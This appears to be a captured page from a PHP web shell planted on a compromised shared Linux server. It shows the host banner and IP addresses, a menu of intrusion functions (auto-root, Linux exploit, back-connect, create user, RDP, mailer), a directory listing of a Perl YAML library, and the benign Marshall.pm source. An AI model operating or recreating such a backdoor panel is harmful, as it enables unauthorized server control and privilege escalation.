Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
YAML /
[ HOME SHELL ]
Name
Size
Permission
Action
Dumper
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Any.pm
2.6
KB
-rw-r--r--
Any.pod
2.82
KB
-rw-r--r--
Dumper.pm
16.69
KB
-rw-r--r--
Dumper.pod
776
B
-rw-r--r--
Error.pm
5.63
KB
-rw-r--r--
Error.pod
666
B
-rw-r--r--
Loader.pm
26.36
KB
-rw-r--r--
Loader.pod
767
B
-rw-r--r--
Marshall.pm
867
B
-rw-r--r--
Marshall.pod
656
B
-rw-r--r--
Mo.pm
3.24
KB
-rw-r--r--
Node.pm
4.32
KB
-rw-r--r--
Node.pod
2.48
KB
-rw-r--r--
Tag.pm
216
B
-rw-r--r--
Tag.pod
538
B
-rw-r--r--
Types.pm
6.44
KB
-rw-r--r--
Types.pod
738
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Marshall.pm
use strict; use warnings; package YAML::Marshall; use YAML::Node (); sub import { my $class = shift; no strict 'refs'; my $package = caller; unless (grep { $_ eq $class} @{$package . '::ISA'}) { push @{$package . '::ISA'}, $class; } my $tag = shift; if ( $tag ) { no warnings 'once'; $YAML::TagClass->{$tag} = $package; ${$package . "::YamlTag"} = $tag; } } sub yaml_dump { my $self = shift; no strict 'refs'; my $tag = ${ref($self) . "::YamlTag"} || 'perl/' . ref($self); $self->yaml_node($self, $tag); } sub yaml_load { my ($class, $node) = @_; if (my $ynode = $class->yaml_ynode($node)) { $node = $ynode->{NODE}; } bless $node, $class; } sub yaml_node { shift; YAML::Node->new(@_); } sub yaml_ynode { shift; YAML::Node::ynode(@_); } 1;
Close
